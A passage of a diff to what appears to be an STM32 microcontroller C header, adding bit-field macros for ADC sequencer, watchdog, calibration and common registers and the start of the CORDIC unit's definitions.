0xFFFFFFFF */ +#define ADC_CHSELR_SQ_ALL ADC_CHSELR_SQ_ALL_Msk /*!< ADC group regular sequencer all ranks, available when ADC_CFGR1_CHSELRMOD is set */ + +#define ADC_CHSELR_SQ1_Pos (0UL) +#define ADC_CHSELR_SQ1_Msk (0xFUL << ADC_CHSELR_SQ1_Pos) /*!< 0x0000000F */ +#define ADC_CHSELR_SQ1 ADC_CHSELR_SQ1_Msk /*!< ADC group regular sequencer rank 1, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ1_0 (0x1UL << ADC_CHSELR_SQ1_Pos) /*!< 0x00000001 */ +#define ADC_CHSELR_SQ1_1 (0x2UL << ADC_CHSELR_SQ1_Pos) /*!< 0x00000002 */ +#define ADC_CHSELR_SQ1_2 (0x4UL << ADC_CHSELR_SQ1_Pos) /*!< 0x00000004 */ +#define ADC_CHSELR_SQ1_3 (0x8UL << ADC_CHSELR_SQ1_Pos) /*!< 0x00000008 */ + +#define ADC_CHSELR_SQ2_Pos (4UL) +#define ADC_CHSELR_SQ2_Msk (0xFUL << ADC_CHSELR_SQ2_Pos) /*!< 0x000000F0 */ +#define ADC_CHSELR_SQ2 ADC_CHSELR_SQ2_Msk /*!< ADC group regular sequencer rank 2, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ2_0 (0x1UL << ADC_CHSELR_SQ2_Pos) /*!< 0x00000010 */ +#define ADC_CHSELR_SQ2_1 (0x2UL << ADC_CHSELR_SQ2_Pos) /*!< 0x00000020 */ +#define ADC_CHSELR_SQ2_2 (0x4UL << ADC_CHSELR_SQ2_Pos) /*!< 0x00000040 */ +#define ADC_CHSELR_SQ2_3 (0x8UL << ADC_CHSELR_SQ2_Pos) /*!< 0x00000080 */ + +#define ADC_CHSELR_SQ3_Pos (8UL) +#define ADC_CHSELR_SQ3_Msk (0xFUL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000F00 */ +#define ADC_CHSELR_SQ3 ADC_CHSELR_SQ3_Msk /*!< ADC group regular sequencer rank 3, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ3_0 (0x1UL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000100 */ +#define ADC_CHSELR_SQ3_1 (0x2UL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000200 */ +#define ADC_CHSELR_SQ3_2 (0x4UL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000400 */ +#define ADC_CHSELR_SQ3_3 (0x8UL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000800 */ + +#define ADC_CHSELR_SQ4_Pos (12UL) +#define ADC_CHSELR_SQ4_Msk (0xFUL << ADC_CHSELR_SQ4_Pos) /*!< 0x0000F000 */ +#define ADC_CHSELR_SQ4 ADC_CHSELR_SQ4_Msk /*!< ADC group regular sequencer rank 4, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ4_0 (0x1UL << ADC_CHSELR_SQ4_Pos) /*!< 0x00001000 */ +#define ADC_CHSELR_SQ4_1 (0x2UL << ADC_CHSELR_SQ4_Pos) /*!< 0x00002000 */ +#define ADC_CHSELR_SQ4_2 (0x4UL << ADC_CHSELR_SQ4_Pos) /*!< 0x00004000 */ +#define ADC_CHSELR_SQ4_3 (0x8UL << ADC_CHSELR_SQ4_Pos) /*!< 0x00008000 */ + +#define ADC_CHSELR_SQ5_Pos (16UL) +#define ADC_CHSELR_SQ5_Msk (0xFUL << ADC_CHSELR_SQ5_Pos) /*!< 0x000F0000 */ +#define ADC_CHSELR_SQ5 ADC_CHSELR_SQ5_Msk /*!< ADC group regular sequencer rank 5, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ5_0 (0x1UL << ADC_CHSELR_SQ5_Pos) /*!< 0x00010000 */ +#define ADC_CHSELR_SQ5_1 (0x2UL << ADC_CHSELR_SQ5_Pos) /*!< 0x00020000 */ +#define ADC_CHSELR_SQ5_2 (0x4UL << ADC_CHSELR_SQ5_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_SQ5_3 (0x8UL << ADC_CHSELR_SQ5_Pos) /*!< 0x00080000 */ + +#define ADC_CHSELR_SQ6_Pos (20UL) +#define ADC_CHSELR_SQ6_Msk (0xFUL << ADC_CHSELR_SQ6_Pos) /*!< 0x00F00000 */ +#define ADC_CHSELR_SQ6 ADC_CHSELR_SQ6_Msk /*!< ADC group regular sequencer rank 6, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ6_0 (0x1UL << ADC_CHSELR_SQ6_Pos) /*!< 0x00100000 */ +#define ADC_CHSELR_SQ6_1 (0x2UL << ADC_CHSELR_SQ6_Pos) /*!< 0x00200000 */ +#define ADC_CHSELR_SQ6_2 (0x4UL << ADC_CHSELR_SQ6_Pos) /*!< 0x00400000 */ +#define ADC_CHSELR_SQ6_3 (0x8UL << ADC_CHSELR_SQ6_Pos) /*!< 0x00800000 */ + +#define ADC_CHSELR_SQ7_Pos (24UL) +#define ADC_CHSELR_SQ7_Msk (0xFUL << ADC_CHSELR_SQ7_Pos) /*!< 0x0F000000 */ +#define ADC_CHSELR_SQ7 ADC_CHSELR_SQ7_Msk /*!< ADC group regular sequencer rank 7, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ7_0 (0x1UL << ADC_CHSELR_SQ7_Pos) /*!< 0x01000000 */ +#define ADC_CHSELR_SQ7_1 (0x2UL << ADC_CHSELR_SQ7_Pos) /*!< 0x02000000 */ +#define ADC_CHSELR_SQ7_2 (0x4UL << ADC_CHSELR_SQ7_Pos) /*!< 0x04000000 */ +#define ADC_CHSELR_SQ7_3 (0x8UL << ADC_CHSELR_SQ7_Pos) /*!< 0x08000000 */ + +#define ADC_CHSELR_SQ8_Pos (28UL) +#define ADC_CHSELR_SQ8_Msk (0xFUL << ADC_CHSELR_SQ8_Pos) /*!< 0xF0000000 */ +#define ADC_CHSELR_SQ8 ADC_CHSELR_SQ8_Msk /*!< ADC group regular sequencer rank 8, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ8_0 (0x1UL << ADC_CHSELR_SQ8_Pos) /*!< 0x10000000 */ +#define ADC_CHSELR_SQ8_1 (0x2UL << ADC_CHSELR_SQ8_Pos) /*!< 0x20000000 */ +#define ADC_CHSELR_SQ8_2 (0x4UL << ADC_CHSELR_SQ8_Pos) /*!< 0x40000000 */ +#define ADC_CHSELR_SQ8_3 (0x8UL << ADC_CHSELR_SQ8_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_AWD3TR register *******************/ +#define ADC_AWD3TR_LT3_Pos (0UL) +#define ADC_AWD3TR_LT3_Msk (0xFFFUL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000FFF */ +#define ADC_AWD3TR_LT3 ADC_AWD3TR_LT3_Msk /*!< ADC analog watchdog 3 threshold low */ +#define ADC_AWD3TR_LT3_0 (0x001UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000001 */ +#define ADC_AWD3TR_LT3_1 (0x002UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000002 */ +#define ADC_AWD3TR_LT3_2 (0x004UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000004 */ +#define ADC_AWD3TR_LT3_3 (0x008UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000008 */ +#define ADC_AWD3TR_LT3_4 (0x010UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000010 */ +#define ADC_AWD3TR_LT3_5 (0x020UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000020 */ +#define ADC_AWD3TR_LT3_6 (0x040UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000040 */ +#define ADC_AWD3TR_LT3_7 (0x080UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000080 */ +#define ADC_AWD3TR_LT3_8 (0x100UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000100 */ +#define ADC_AWD3TR_LT3_9 (0x200UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000200 */ +#define ADC_AWD3TR_LT3_10 (0x400UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000400 */ +#define ADC_AWD3TR_LT3_11 (0x800UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000800 */ + +#define ADC_AWD3TR_HT3_Pos (16UL) +#define ADC_AWD3TR_HT3_Msk (0xFFFUL << ADC_AWD3TR_HT3_Pos) /*!< 0x0FFF0000 */ +#define ADC_AWD3TR_HT3 ADC_AWD3TR_HT3_Msk /*!< ADC analog watchdog 3 threshold high */ +#define ADC_AWD3TR_HT3_0 (0x001UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00010000 */ +#define ADC_AWD3TR_HT3_1 (0x002UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00020000 */ +#define ADC_AWD3TR_HT3_2 (0x004UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00040000 */ +#define ADC_AWD3TR_HT3_3 (0x008UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00080000 */ +#define ADC_AWD3TR_HT3_4 (0x010UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00100000 */ +#define ADC_AWD3TR_HT3_5 (0x020UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00200000 */ +#define ADC_AWD3TR_HT3_6 (0x040UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00400000 */ +#define ADC_AWD3TR_HT3_7 (0x080UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00800000 */ +#define ADC_AWD3TR_HT3_8 (0x100UL << ADC_AWD3TR_HT3_Pos) /*!< 0x01000000 */ +#define ADC_AWD3TR_HT3_9 (0x200UL << ADC_AWD3TR_HT3_Pos) /*!< 0x02000000 */ +#define ADC_AWD3TR_HT3_10 (0x400UL << ADC_AWD3TR_HT3_Pos) /*!< 0x04000000 */ +#define ADC_AWD3TR_HT3_11 (0x800UL << ADC_AWD3TR_HT3_Pos) /*!< 0x08000000 */ + +/******************** Bit definition for ADC_AWD3CR register ********************/ +#define ADC_AWD3CR_AWD3CH_Pos (0UL) +#define ADC_AWD3CR_AWD3CH_Msk (0xFFFFFFUL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00FFFFFF */ +#define ADC_AWD3CR_AWD3CH ADC_AWD3CR_AWD3CH_Msk /*!< ADC Analog watchdog 2 channel selection */ +#define ADC_AWD3CR_AWD3CH_0 (0x00001UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000001 */ +#define ADC_AWD3CR_AWD3CH_1 (0x00002UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000002 */ +#define ADC_AWD3CR_AWD3CH_2 (0x00004UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000004 */ +#define ADC_AWD3CR_AWD3CH_3 (0x00008UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000008 */ +#define ADC_AWD3CR_AWD3CH_4 (0x00010UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000010 */ +#define ADC_AWD3CR_AWD3CH_5 (0x00020UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000020 */ +#define ADC_AWD3CR_AWD3CH_6 (0x00040UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000040 */ +#define ADC_AWD3CR_AWD3CH_7 (0x00080UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000080 */ +#define ADC_AWD3CR_AWD3CH_8 (0x00100UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000100 */ +#define ADC_AWD3CR_AWD3CH_9 (0x00200UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000200 */ +#define ADC_AWD3CR_AWD3CH_10 (0x00400UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000400 */ +#define ADC_AWD3CR_AWD3CH_11 (0x00800UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000800 */ +#define ADC_AWD3CR_AWD3CH_12 (0x01000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00001000 */ +#define ADC_AWD3CR_AWD3CH_13 (0x02000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00002000 */ +#define ADC_AWD3CR_AWD3CH_14 (0x04000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00004000 */ +#define ADC_AWD3CR_AWD3CH_15 (0x08000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00008000 */ +#define ADC_AWD3CR_AWD3CH_16 (0x10000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00010000 */ +#define ADC_AWD3CR_AWD3CH_17 (0x20000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00020000 */ +#define ADC_AWD3CR_AWD3CH_18 (0x40000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00040000 */ +#define ADC_AWD3CR_AWD3CH_19 (0x80000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00080000 */ +#define ADC_AWD3CR_AWD2CH_20 (0x100000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00100000 */ +#define ADC_AWD3CR_AWD2CH_21 (0x200000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00200000 */ +#define ADC_AWD3CR_AWD2CH_22 (0x400000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00400000 */ +#define ADC_AWD3CR_AWD2CH_23 (0x800000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00800000 */ + +/******************** Bit definition for ADC_DIFSEL register ********************/ +#define ADC_DIFSEL_DIFSEL_Pos (0UL) +#define ADC_DIFSEL_DIFSEL_Msk (0xFFFFFUL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x000FFFFF */ +#define ADC_DIFSEL_DIFSEL ADC_DIFSEL_DIFSEL_Msk /*!< ADC differential modes for channels 1 to 18 */ +#define ADC_DIFSEL_DIFSEL_0 (0x00001UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000001 */ +#define ADC_DIFSEL_DIFSEL_1 (0x00002UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000002 */ +#define ADC_DIFSEL_DIFSEL_2 (0x00004UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000004 */ +#define ADC_DIFSEL_DIFSEL_3 (0x00008UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000008 */ +#define ADC_DIFSEL_DIFSEL_4 (0x00010UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000010 */ +#define ADC_DIFSEL_DIFSEL_5 (0x00020UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000020 */ +#define ADC_DIFSEL_DIFSEL_6 (0x00040UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000040 */ +#define ADC_DIFSEL_DIFSEL_7 (0x00080UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000080 */ +#define ADC_DIFSEL_DIFSEL_8 (0x00100UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000100 */ +#define ADC_DIFSEL_DIFSEL_9 (0x00200UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000200 */ +#define ADC_DIFSEL_DIFSEL_10 (0x00400UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000400 */ +#define ADC_DIFSEL_DIFSEL_11 (0x00800UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000800 */ +#define ADC_DIFSEL_DIFSEL_12 (0x01000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00001000 */ +#define ADC_DIFSEL_DIFSEL_13 (0x02000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00002000 */ +#define ADC_DIFSEL_DIFSEL_14 (0x04000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00004000 */ +#define ADC_DIFSEL_DIFSEL_15 (0x08000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00008000 */ +#define ADC_DIFSEL_DIFSEL_16 (0x10000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00010000 */ +#define ADC_DIFSEL_DIFSEL_17 (0x20000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00020000 */ +#define ADC_DIFSEL_DIFSEL_18 (0x40000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00040000 */ +#define ADC_DIFSEL_DIFSEL_19 (0x80000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00080000 */ + +/******************** Bit definition for ADC_CALFACT register ********************/ +#define ADC_CALFACT_I_APB_ADDR_Pos (0UL) +#define ADC_CALFACT_I_APB_ADDR_Msk (0xFFUL << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x000000FF */ +#define ADC_CALFACT_I_APB_ADDR ADC_CALFACT_I_APB_ADDR_Msk /*!< ADC calibration factors in single-ended mode */ +#define ADC_CALFACT_I_APB_ADDR_0 (0x001U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000001 */ +#define ADC_CALFACT_I_APB_ADDR_1 (0x002U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000002 */ +#define ADC_CALFACT_I_APB_ADDR_2 (0x004U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000004 */ +#define ADC_CALFACT_I_APB_ADDR_3 (0x008U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000008 */ +#define ADC_CALFACT_I_APB_ADDR_4 (0x010U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000010 */ +#define ADC_CALFACT_I_APB_ADDR_5 (0x020U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000020 */ +#define ADC_CALFACT_I_APB_ADDR_6 (0x040U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000040 */ +#define ADC_CALFACT_I_APB_ADDR_7 (0x080U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000080 */ + +#define ADC_CALFACT_I_APB_DATA_Pos (08UL) +#define ADC_CALFACT_I_APB_DATA_Msk (0xFFUL << ADC_CALFACT_I_APB_DATA_Pos) /*!< 0x0000FF00 */ +#define ADC_CALFACT_I_APB_DATA ADC_CALFACT_I_APB_DATA_Msk /*!< ADC calibration factors in differential mode */ +#define ADC_CALFACT_APB_DATA_0 (0x001U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00000100 */ +#define ADC_CALFACT_APB_DATA_1 (0x002U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00000200 */ +#define ADC_CALFACT_APB_DATA_2 (0x004U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00000400 */ +#define ADC_CALFACT_APB_DATA_3 (0x008U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00000800 */ +#define ADC_CALFACT_APB_DATA_4 (0x010U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00001000 */ +#define ADC_CALFACT_APB_DATA_5 (0x020U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00002000 */ +#define ADC_CALFACT_APB_DATA_6 (0x040U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00004000 */ +#define ADC_CALFACT_APB_DATA_7 (0x080U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00008000 */ + +#define ADC_CALFACT_VALIDITY_Pos (16UL) +#define ADC_CALFACT_VALIDITY_Msk (0x1UL << ADC_CALFACT_VALIDITY_Pos) /*!< 0x00010000 */ +#define ADC_CALFACT_VALIDITY ADC_CALFACT_VALIDITY_Msk /*!< ADC calibration factors in differential mode */ +#define ADC_CALFACT_LATCH_COEF_Pos (24UL) +#define ADC_CALFACT_LATCH_COEF_Msk (0x1UL << ADC_CALFACT_LATCH_COEF_Pos) /*!< 0x01000000 */ +#define ADC_CALFACT_LATCH_COEF ADC_CALFACT_LATCH_COEF_Msk /*!< ADC calibration factors in differential mode */ +#define ADC_CALFACT_CAPTURE_COEF_Pos (25UL) +#define ADC_CALFACT_CAPTURE_COEF_Msk (0x1UL << ADC_CALFACT_CAPTURE_COEF_Pos) /*!< 0x01000000 */ +#define ADC_CALFACT_CAPTURE_COEF ADC_CALFACT_CAPTURE_COEF_Msk /*!< ADC calibration factors in differential mode */ + +#define ADC4_CALFACT_CALFACT_Pos (0UL) +#define ADC4_CALFACT_CALFACT_Msk (0x7FUL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x0000007F */ +#define ADC4_CALFACT_CALFACT ADC4_CALFACT_CALFACT_Msk /*!< ADC calibration factor in single-ended mode */ +#define ADC4_CALFACT_CALFACT_0 (0x01UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000001 */ +#define ADC4_CALFACT_CALFACT_1 (0x02UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000002 */ +#define ADC4_CALFACT_CALFACT_2 (0x04UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000004 */ +#define ADC4_CALFACT_CALFACT_3 (0x08UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000008 */ +#define ADC4_CALFACT_CALFACT_4 (0x10UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000010 */ +#define ADC4_CALFACT_CALFACT_5 (0x20UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000020 */ +#define ADC4_CALFACT_CALFACT_6 (0x40UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000040 */ + +/******************** Bit definition for ADC_CALFACT2 register ********************/ +#define ADC_CALFACT2_CALFACT_Pos (0UL) +#define ADC_CALFACT2_CALFACT_Msk (0xFFFFFFFFUL << ADC_CALFACT2_CALFACT_Pos) /*!< 0xFFFFFFFF */ +#define ADC_CALFACT2_CALFACT ADC_CALFACT2_CALFACT_Msk /*!< ADC Linearity calibration factors */ +#define ADC_CALFACT2_CALFACT_0 (0x00000001UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000001 */ +#define ADC_CALFACT2_CALFACT_1 (0x00000002UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000002 */ +#define ADC_CALFACT2_CALFACT_2 (0x00000004UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000004 */ +#define ADC_CALFACT2_CALFACT_3 (0x00000008UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000008 */ +#define ADC_CALFACT2_CALFACT_4 (0x00000010UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000010 */ +#define ADC_CALFACT2_CALFACT_5 (0x00000020UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000020 */ +#define ADC_CALFACT2_CALFACT_6 (0x00000040UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000040 */ +#define ADC_CALFACT2_CALFACT_7 (0x00000080UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000080 */ +#define ADC_CALFACT2_CALFACT_8 (0x00000100UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000100 */ +#define ADC_CALFACT2_CALFACT_9 (0x00000200UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000200 */ +#define ADC_CALFACT2_CALFACT_10 (0x00000400UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000400 */ +#define ADC_CALFACT2_CALFACT_11 (0x00000800UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000800 */ +#define ADC_CALFACT2_CALFACT_12 (0x00001000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00001000 */ +#define ADC_CALFACT2_CALFACT_13 (0x00002000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00002000 */ +#define ADC_CALFACT2_CALFACT_14 (0x00004000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00004000 */ +#define ADC_CALFACT2_CALFACT_15 (0x00008000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00008000 */ +#define ADC_CALFACT2_CALFACT_16 (0x00010000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00010000 */ +#define ADC_CALFACT2_CALFACT_17 (0x00020000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00020000 */ +#define ADC_CALFACT2_CALFACT_18 (0x00040000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00040000 */ +#define ADC_CALFACT2_CALFACT_19 (0x00080000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00080000 */ +#define ADC_CALFACT2_CALFACT_20 (0x00100000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00100000 */ +#define ADC_CALFACT2_CALFACT_21 (0x00200000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00200000 */ +#define ADC_CALFACT2_CALFACT_22 (0x00400000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00400000 */ +#define ADC_CALFACT2_CALFACT_23 (0x00800000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00800000 */ +#define ADC_CALFACT2_CALFACT_24 (0x01000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x01000000 */ +#define ADC_CALFACT2_CALFACT_25 (0x02000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x02000000 */ +#define ADC_CALFACT2_CALFACT_26 (0x04000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x04000000 */ +#define ADC_CALFACT2_CALFACT_27 (0x08000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x08000000 */ +#define ADC_CALFACT2_CALFACT_28 (0x10000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x10000000 */ +#define ADC_CALFACT2_CALFACT_29 (0x20000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x20000000 */ +#define ADC_CALFACT2_CALFACT_30 (0x40000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x40000000 */ +#define ADC_CALFACT2_CALFACT_31 (0x80000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_OR register ********************/ +#define ADC_OR_CHN0SEL_Pos (0UL) +#define ADC_OR_CHN0SEL_Msk (0x1UL << ADC_OR_CHN0SEL_Pos) /*!< 0x00000001 */ +#define ADC_OR_CHN0SEL ADC_OR_CHN0SEL_Msk /*!< ADC Channel 0 selection */ + +/************************* ADC Common registers *****************************/ + +#define ADC_CCR_PRESC_Pos (18UL) +#define ADC_CCR_PRESC_Msk (0xFUL << ADC_CCR_PRESC_Pos) /*!< 0x003C0000 */ +#define ADC_CCR_PRESC ADC_CCR_PRESC_Msk /*!< ADC prescaler */ +#define ADC_CCR_PRESC_0 (0x1UL << ADC_CCR_PRESC_Pos) /*!< 0x00040000 */ +#define ADC_CCR_PRESC_1 (0x2UL << ADC_CCR_PRESC_Pos) /*!< 0x00080000 */ +#define ADC_CCR_PRESC_2 (0x4UL << ADC_CCR_PRESC_Pos) /*!< 0x00100000 */ +#define ADC_CCR_PRESC_3 (0x8UL << ADC_CCR_PRESC_Pos) /*!< 0x00200000 */ + +#define ADC_CCR_VREFEN_Pos (22UL) +#define ADC_CCR_VREFEN_Msk (0x1UL << ADC_CCR_VREFEN_Pos) /*!< 0x00400000 */ +#define ADC_CCR_VREFEN ADC_CCR_VREFEN_Msk /*!< VREFINT enable */ +#define ADC_CCR_VSENSEEN_Pos (23UL) +#define ADC_CCR_VSENSEEN_Msk (0x1UL << ADC_CCR_VSENSEEN_Pos) /*!< 0x00800000 */ +#define ADC_CCR_VSENSEEN ADC_CCR_VSENSEEN_Msk /*!< Temperature sensor enable */ +#define ADC_CCR_VBATEN_Pos (24UL) +#define ADC_CCR_VBATEN_Msk (0x1UL << ADC_CCR_VBATEN_Pos) /*!< 0x01000000 */ +#define ADC_CCR_VBATEN ADC_CCR_VBATEN_Msk /*!< VBAT enable */ +#define ADC_CCR_LFMEN_Pos (25UL) +#define ADC_CCR_LFMEN_Msk (0x1UL << ADC_CCR_LFMEN_Pos) /*!< 0x02000000 */ +#define ADC_CCR_LFMEN ADC_CCR_LFMEN_Msk /*!< Low Frequency Mode Enable, specific ADC4*/ +#define ADC_CCR_VDDCOREN_Pos (26UL) +#define ADC_CCR_VDDCOREN_Msk (0x1UL << ADC_CCR_VDDCOREN_Pos) /*!< 0x04000000 */ +#define ADC_CCR_VDDCOREN ADC_CCR_VDDCOREN_Msk /*!< VDDCode enable */ + + +/******************************************************************************/ +/* */ +/* CORDIC calculation unit */ +/* */ +/******************************************************************************/ +/******************* Bit definition for CORDIC_CSR register *****************/ +#define CORDIC_CSR_FUNC_Pos (0UL) +#define CORDIC_CSR_FUNC_Msk (0xFUL << CORDIC_CSR_FUNC_Pos) /*!< 0x0000000F */ +#define CORDIC_CSR_FUNC CORDIC_CSR_FUNC_Msk /*!< Function */ +#define CORDIC_CSR_FUNC_0 (0x1UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000001 */ +#define CORDIC_CSR_FUNC_1 (0x2UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000002 */ +#define CORDIC_CSR_FUNC_2 (0x4UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000004 */ +#define CORDIC_CSR_FUNC_3 (0x8UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000008 */ +#define CORDIC_CSR_PRECISION_Pos (4UL) +#define CORDIC_CSR_PRECISION_Msk (0xFUL << CORDIC_CSR_PRECISION_Pos) /*!< 0x000000F0 */ +#define CORDIC_CSR_PRECISION CORDIC_CSR_PRECISION_Msk /*!< Precision */ +#define CORDIC_CSR_PRECISION_0 (0x1UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000010 */ +#define CORDIC_CSR_PRECISION_1 (0x2UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000020 